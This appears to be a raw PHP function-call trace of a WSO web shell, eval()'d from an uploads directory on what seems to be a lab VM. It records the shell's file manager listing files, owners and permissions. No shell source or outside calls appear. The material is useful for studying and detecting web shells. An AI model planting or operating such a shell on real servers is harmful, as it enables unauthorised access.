4	151	1	0.020643	1257424
4	151	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	884	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	152	0	0.020685	1256656	filegroup	0		/var/www/html/uploads/wso.php(5) : eval()'d code	885	1	'data'
4	152	1	0.020698	1256696
4	152	R			0
4	153	0	0.020711	1256656	posix_getgrgid	0		/var/www/html/uploads/wso.php(5) : eval()'d code	885	1	0
4	153	1	0.020733	1257312
4	153	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	885	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	154	0	0.020769	1257176	filemtime	0		/var/www/html/uploads/wso.php(5) : eval()'d code	888	1	'/var/www/html/uploads/data'
4	154	1	0.020785	1257240
4	154	R			1676247507
4	155	0	0.020798	1257144	date	0		/var/www/html/uploads/wso.php(5) : eval()'d code	888	2	'Y-m-d H:i:s'	1676247507
4	155	1	0.020829	1257472
4	155	R			'2023-02-12 19:18:27'
4	156	0	0.020844	1257456	viewPermsColor	1		/var/www/html/uploads/wso.php(5) : eval()'d code	889	1	'/var/www/html/uploads/data'
5	157	0	0.020857	1257456	is_readable	0		/var/www/html/uploads/wso.php(5) : eval()'d code	322	1	'/var/www/html/uploads/data'
5	157	1	0.020874	1257496
5	157	R			TRUE
5	158	0	0.020886	1257456	is_writable	0		/var/www/html/uploads/wso.php(5) : eval()'d code	324	1	'/var/www/html/uploads/data'
5	158	1	0.020902	1257496
5	158	R			TRUE
5	159	0	0.020914	1257456	fileperms	0		/var/www/html/uploads/wso.php(5) : eval()'d code	327	1	'/var/www/html/uploads/data'
5	159	1	0.020928	1257496
5	159	R			16895
5	160	0	0.020940	1257456	perms	1		/var/www/html/uploads/wso.php(5) : eval()'d code	327	1	16895
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	306	$i = 'd'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	310	$i .= 'r'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	311	$i .= 'w'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	312	$i .= 'x'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	313	$i .= 'r'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	314	$i .= 'w'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	315	$i .= 'x'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	316	$i .= 'r'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	317	$i .= 'w'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	318	$i .= 'x'
5	160	1	0.021054	1257496
5	160	R			'drwxrwxrwx'
4	156	1	0.021068	1257536
4	156	R			'<font color=#e6b000><b>drwxrwxrwx</b></font>'
4	161	0	0.021085	1257536	filesize	0		/var/www/html/uploads/wso.php(5) : eval()'d code	890	1	'/var/www/html/uploads/data'
4	161	1	0.021099	1257576
4	161	R			4096
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	892	$tmp = ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']
4	162	0	0.021136	1257160	is_file	0		/var/www/html/uploads/wso.php(5) : eval()'d code	894	1	'/var/www/html/uploads/data'
4	162	1	0.021153	1257200
4	162	R			FALSE
4	163	0	0.021167	1257160	is_link	0		/var/www/html/uploads/wso.php(5) : eval()'d code	896	1	'/var/www/html/uploads/data'
4	163	1	0.021183	1257200
4	163	R			FALSE
4	164	0	0.021196	1257160	is_dir	0		/var/www/html/uploads/wso.php(5) : eval()'d code	898	1	'/var/www/html/uploads/data'
4	164	1	0.021210	1257200
4	164	R			TRUE
4	165	0	0.021223	1257104	array_merge	0		/var/www/html/uploads/wso.php(5) : eval()'d code	899	2	['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']	['type' => 'dir']
4	165	1	0.021247	1257544
4	165	R			['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	899	$dirs[] = ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	883	$i++
4	166	0	0.021306	1257480	fileowner	0		/var/www/html/uploads/wso.php(5) : eval()'d code	884	1	'prepend.php'
4	166	1	0.021322	1257504
4	166	R			0
4	167	0	0.021335	1257464	posix_getpwuid	0		/var/www/html/uploads/wso.php(5) : eval()'d code	884	1	0
4	167	1	0.021358	1258264
4	167	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	884	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	168	0	0.021400	1257496	filegroup	0		/var/www/html/uploads/wso.php(5) : eval()'d code	885	1	'prepend.php'
4	168	1	0.021414	1257536
4	168	R			0
4	169	0	0.021427	1257496	posix_getgrgid	0		/var/www/html/uploads/wso.php(5) : eval()'d code	885	1	0
4	169	1	0.021449	1258152
4	169	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	885	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	170	0	0.021485	1258032	filemtime	0		/var/www/html/uploads/wso.php(5) : eval()'d code	888	1	'/var/www/html/uploads/prepend.php'
4	170	1	0.021502	1258096
4	170	R			1676247507
4	171	0	0.021515	1257992	date	0		/var/www/html/uploads/wso.php(5) : eval()'d code	888	2	'Y-m-d H:i:s'	1676247507
4	171	1	0.021546	1258320
4	171	R			'2023-02-12 19:18:27'
4	172	0	0.021561	1258312	viewPermsColor	1		/var/www/html/uploads/wso.php(5) : eval()'d code	889	1	'/var/www/html/uploads/prepend.php'
5	173	0	0.021575	1258312	is_readable	0		/var/www/html/uploads/wso.php(5) : eval()'d code	322	1	'/var/www/html/uploads/prepend.php'
5	173	1	0.021591	1258352
5	173	R			TRUE
5	174	0	0.021604	1258312	is_writable	0		/var/www/html/uploads/wso.php(5) : eval()'d code	324	1	'/var/www/html/uploads/prepend.php'
5	174	1	0.021620	1258352
5	174	R			FALSE
5	175	0	0.021633	1258312	fileperms	0		/var/www/html/uploads/wso.php(5) : eval()'d code	325	1	'/var/www/html/uploads/prepend.php'
5	175	1	0.021647	1258352
5	175	R			33261
5	176	0	0.021660	1258312	perms	1		/var/www/html/uploads/wso.php(5) : eval()'d code	325	1	33261
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	304	$i = '-'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	310	$i .= 'r'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	311	$i .= 'w'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	312	$i .= 'x'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	313	$i .= 'r'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	314	$i .= '-'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	315	$i .= 'x'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	316	$i .= 'r'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	317	$i .= '-'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	318	$i .= 'x'
5	176	1	0.021774	1258352
5	176	R			'-rwxr-xr-x'
4	172	1	0.021788	1258392
4	172	R			'<font color=white><b>-rwxr-xr-x</b></font>'
4	177	0	0.021805	1258392	filesize	0		/var/www/html/uploads/wso.php(5) : eval()'d code	890	1	'/var/www/html/uploads/prepend.php'
4	177	1	0.021823	1258432
4	177	R			57
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	892	$tmp = ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root']
4	178	0	0.021860	1258016	is_file	0		/var/www/html/uploads/wso.php(5) : eval()'d code	894	1	'/var/www/html/uploads/prepend.php'
4	178	1	0.021874	1258056
4	178	R			TRUE
4	179	0	0.021887	1257952	array_merge	0		/var/www/html/uploads/wso.php(5) : eval()'d code	895	2	['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root']	['type' => 'file']
4	179	1	0.021911	1258392
4	179	R			['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	895	$files[] = ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	883	$i++
4	180	0	0.021969	1258328	fileowner	0		/var/www/html/uploads/wso.php(5) : eval()'d code	884	1	'wso.php'
4	180	1	0.021985	1258336
4	180	R			1000
4	181	0	0.021998	1258296	posix_getpwuid	0		/var/www/html/uploads/wso.php(5) : eval()'d code	884	1	1000
4	181	1	0.022029	1259112
4	181	R			['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	884	$ow = ['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
4	182	0	0.022071	1258344	filegroup	0		/var/www/html/uploads/wso.php(5) : eval()'d code	885	1	'wso.php'
4	182	1	0.022086	1258384
4	182	R			1000
4	183	0	0.022098	1258344	posix_getgrgid	0		/var/www/html/uploads/wso.php(5) : eval()'d code	885	1	1000
4	183	1	0.022130	1259000
4	183	R			['name' => 'osboxes', 'passwd' => 'x', 'members' => [], 'gid' => 1000]
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	885	$gr = ['name' => 'osboxes', 'passwd' => 'x', 'members' => [], 'gid' => 1000]
4	184	0	0.022166	1258864	filemtime	0		/var/www/html/uploads/wso.php(5) : eval()'d code	888	1	'/var/www/html/uploads/wso.php'
4	184	1	0.022182	1258928
4	184	R			1676247507
4	185	0	0.022195	1258832	date	0		/var/www/html/uploads/wso.php(5) : eval()'d code	888	2	'Y-m-d H:i:s'	1676247507
4	185	1	0.022227	1259160
4	185	R			'2023-02-12 19:18:27'
4	186	0	0.022242	1259144	viewPermsColor	1		/var/www/html/uploads/wso.php(5) : eval()'d code	889	1	'/var/www/html/uploads/wso.php'
5	187	0	0.022255	1259144	is_readable	0		/var/www/html/uploads/wso.php(5) : eval()'d code	322	1	'/var/www/html/uploads/wso.php'
5	187	1	0.022272	1259184
5	187	R			TRUE
5	188	0	0.022284	1259144	is_writable	0		/var/www/html/uploads/wso.php(5) : eval()'d code	324	1	'/var/www/html/uploads/wso.php'
5	188	1	0.022300	1259184
5	188	R			FALSE
5	189	0	0.022313	1259144	fileperms	0		/var/www/html/uploads/wso.php(5) : eval()'d code	325	1	'/var/www/html/uploads/wso.php'
5	189	1	0.022326	1259184
5	189	R			33204
5	190	0	0.022339	1259144	perms	1		/var/www/html/uploads/wso.php(5) : eval()'d code	325	1	33204
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	304	$i = '-'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	310	$i .= 'r'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	311	$i .= 'w'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	312	$i .= '-'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	313	$i .= 'r'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	314	$i .= 'w'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	315	$i .= '-'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	316	$i .= 'r'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	317	$i .= '-'
5		A						/var/www/html/uploads/wso.php(5) : eval()'d code	318	$i .= '-'
5	190	1	0.022451	1259184
5	190	R			'-rw-rw-r--'
4	186	1	0.022466	1259224
4	186	R			'<font color=white><b>-rw-rw-r--</b></font>'
4	191	0	0.022482	1259224	filesize	0		/var/www/html/uploads/wso.php(5) : eval()'d code	890	1	'/var/www/html/uploads/wso.php'
4	191	1	0.022500	1259264
4	191	R			95692
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	892	$tmp = ['name' => 'wso.php', 'path' => '/var/www/html/uploads/wso.php', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 95692, 'owner' => 'osboxes', 'group' => 'osboxes']
4	192	0	0.022536	1258848	is_file	0		/var/www/html/uploads/wso.php(5) : eval()'d code	894	1	'/var/www/html/uploads/wso.php'
4	192	1	0.022550	1258888
4	192	R			TRUE
4	193	0	0.022563	1258792	array_merge	0		/var/www/html/uploads/wso.php(5) : eval()'d code	895	2	['name' => 'wso.php', 'path' => '/var/www/html/uploads/wso.php', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 95692, 'owner' => 'osboxes', 'group' => 'osboxes']	['type' => 'file']
4	193	1	0.022587	1259232
4	193	R			['name' => 'wso.php', 'path' => '/var/www/html/uploads/wso.php', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 95692, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	895	$files[] = ['name' => 'wso.php', 'path' => '/var/www/html/uploads/wso.php', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 95692, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	883	$i++
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	901	GLOBALS['sort'] = [0 => 'name', 1 => 1]
4	194	0	0.022662	1259192	usort	0		/var/www/html/uploads/wso.php(5) : eval()'d code	908	2	[0 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 1 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 2 => ['name' => 'wso.php', 'path' => '/var/www/html/uploads/wso.php', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 95692, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']]	'cmp'
5	195	0	0.022698	1259640	cmp	1		/var/www/html/uploads/wso.php(5) : eval()'d code	908	2	['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file']	['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
6	196	0	0.022727	1259640	strtolower	0		/var/www/html/uploads/wso.php(5) : eval()'d code	904	1	'.htaccess'
6	196	1	0.022741	1259672
6	196	R			'.htaccess'
6	197	0	0.022755	1259640	strtolower	0		/var/www/html/uploads/wso.php(5) : eval()'d code	904	1	'prepend.php'
6	197	1	0.022768	1259672
6	197	R			'prepend.php'
6	198	0	0.022782	1259640	strcmp	0		/var/www/html/uploads/wso.php(5) : eval()'d code	904	2	'.htaccess'	'prepend.php'
6	198	1	0.022796	1259704
6	198	R			-1
5	195	1	0.022810	1259640
5	195	R			-1
5	199	0	0.022822	1259640	cmp	1		/var/www/html/uploads/wso.php(5) : eval()'d code	908	2	['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']	['name' => 'wso.php', 'path' => '/var/www/html/uploads/wso.php', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 95692, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']
6	200	0	0.022851	1259640	strtolower	0		/var/www/html/uploads/wso.php(5) : eval()'d code	904	1	'prepend.php'
6	200	1	0.022876	1259672
6	200	R			'prepend.php'
6	201	0	0.022890	1259640	strtolower	0		/var/www/html/uploads/wso.php(5) : eval()'d code	904	1	'wso.php'
6	201	1	0.022904	1259672
6	201	R			'wso.php'
6	202	0	0.022918	1259640	strcmp	0		/var/www/html/uploads/wso.php(5) : eval()'d code	904	2	'prepend.php'	'wso.php'
6	202	1	0.022932	1259704
6	202	R			-1
5	199	1	0.022945	1259640
5	199	R			-1
4	194	1	0.022958	1259264
4	194	R			TRUE
4	203	0	0.022971	1259216	usort	0		/var/www/html/uploads/wso.php(5) : eval()'d code	909	2	[0 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']]	'cmp'
5	204	0	0.023000	1259664	cmp	1		/var/www/html/uploads/wso.php(5) : eval()'d code	909	2	['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']	['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
6	205	0	0.023027	1259664	strtolower	0		/var/www/html/uploads/wso.php(5) : eval()'d code	904	1	'..'
6	205	1	0.023040	1259696
6	205	R			'..'
6	206	0	0.023052	1259664	strtolower	0		/var/www/html/uploads/wso.php(5) : eval()'d code	904	1	'data'
6	206	1	0.023065	1259696
6	206	R			'data'
6	207	0	0.023078	1259664	strcmp	0		/var/www/html/uploads/wso.php(5) : eval()'d code	904	2	'..'	'data'
6	207	1	0.023091	1259728
6	207	R			-3552051
5	204	1	0.023109	1259664
5	204	R			-3552051
4	203	1	0.023123	1259288
4	203	R			TRUE
4	208	0	0.023136	1259216	array_merge	0		/var/www/html/uploads/wso.php(5) : eval()'d code	910	2	[0 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']]	[0 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 1 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 2 => ['name' => 'wso.php', 'path' => '/var/www/html/uploads/wso.php', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 95692, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']]
4	208	1	0.023183	1259656
4	208	R			[0 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 2 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 3 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 4 => ['name' => 'wso.php', 'path' => '/var/www/html/uploads/wso.php', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 95692, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']]
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	910	$files = [0 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=#e6b000><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 2 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 3 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 4 => ['name' => 'wso.php', 'path' => '/var/www/html/uploads/wso.php', 'modify' => '2023-02-12 19:18:27', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 95692, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']]
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	911	$l = 0
4	209	0	0.023287	1259296	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	913	1	'..'
4	209	1	0.023301	1259360
4	209	R			'..'
4	210	0	0.023316	1259424	htmlspecialchars	0		/var/www/html/uploads/wso.php(5) : eval()'d code	913	1	'..'
4	210	1	0.023330	1259616
4	210	R			'..'
4	211	0	0.023345	1259536	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	913	1	'..'
4	211	1	0.023359	1259600
4	211	R			'..'
4	212	0	0.023372	1259664	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	914	1	'..'
4	212	1	0.023385	1259728
4	212	R			'..'
4	213	0	0.023398	1259856	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	914	1	'..'
4	213	1	0.023410	1259920
4	213	R			'..'
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	915	$l = 1
4	214	0	0.023436	1259312	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	913	1	'data'
4	214	1	0.023449	1259376
4	214	R			'data'
4	215	0	0.023463	1259424	htmlspecialchars	0		/var/www/html/uploads/wso.php(5) : eval()'d code	913	1	'data'
4	215	1	0.023476	1259616
4	215	R			'data'
4	216	0	0.023490	1259536	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	913	1	'data'
4	216	1	0.023503	1259600
4	216	R			'data'
4	217	0	0.023516	1259664	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	914	1	'data'
4	217	1	0.023530	1259728
4	217	R			'data'
4	218	0	0.023543	1259856	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	914	1	'data'
4	218	1	0.023555	1259920
4	218	R			'data'
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	915	$l = 0
4	219	0	0.023743	1259296	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	913	1	'.htaccess'
4	219	1	0.023758	1259368
4	219	R			'.htaccess'
4	220	0	0.023773	1259344	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	913	1	'.htaccess'
4	220	1	0.023787	1259416
4	220	R			'.htaccess'
4	221	0	0.023848	1259424	htmlspecialchars	0		/var/www/html/uploads/wso.php(5) : eval()'d code	913	1	'.htaccess'
4	221	1	0.023866	1259616
4	221	R			'.htaccess'
4	222	0	0.023881	1259408	viewSize	1		/var/www/html/uploads/wso.php(5) : eval()'d code	913	1	64
4	222	1	0.023896	1259440
4	222	R			'64 B'
4	223	0	0.023911	1259536	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	913	1	'.htaccess'
4	223	1	0.023924	1259608
4	223	R			'.htaccess'
4	224	0	0.023938	1259664	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	914	1	'.htaccess'
4	224	1	0.023951	1259736
4	224	R			'.htaccess'
4	225	0	0.023964	1259856	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	914	1	'.htaccess'
4	225	1	0.023978	1259928
4	225	R			'.htaccess'
4	226	0	0.023991	1259856	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	914	1	'.htaccess'
4	226	1	0.024004	1259928
4	226	R			'.htaccess'
4	227	0	0.024017	1260080	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	914	1	'.htaccess'
4	227	1	0.024035	1260152
4	227	R			'.htaccess'
4	228	0	0.024049	1260176	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	914	1	'.htaccess'
4	228	1	0.024062	1260248
4	228	R			'.htaccess'
3		A						/var/www/html/uploads/wso.php(5) : eval()'d code	915	$l = 1
4	229	0	0.024088	1259312	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	913	1	'prepend.php'
4	229	1	0.024102	1259384
4	229	R			'prepend.php'
4	230	0	0.024116	1259376	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	913	1	'prepend.php'
4	230	1	0.024130	1259448
4	230	R			'prepend.php'
4	231	0	0.024144	1259456	htmlspecialchars	0		/var/www/html/uploads/wso.php(5) : eval()'d code	913	1	'prepend.php'
4	231	1	0.024157	1259648
4	231	R			'prepend.php'
4	232	0	0.024172	1259440	viewSize	1		/var/www/html/uploads/wso.php(5) : eval()'d code	913	1	57
4	232	1	0.024186	1259472
4	232	R			'57 B'
4	233	0	0.024200	1259536	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	913	1	'prepend.php'
4	233	1	0.024214	1259608
4	233	R			'prepend.php'
4	234	0	0.024228	1259728	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	914	1	'prepend.php'
4	234	1	0.024241	1259800
4	234	R			'prepend.php'
4	235	0	0.024255	1259856	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	914	1	'prepend.php'
4	235	1	0.024268	1259928
4	235	R			'prepend.php'
4	236	0	0.024282	1259856	urlencode	0		/var/www/html/uploads/wso.php(5) : eval()'d code	914	1	'prepend.php'
4	236	1	0.024295	1259928
4	236	R			'prepend.php'
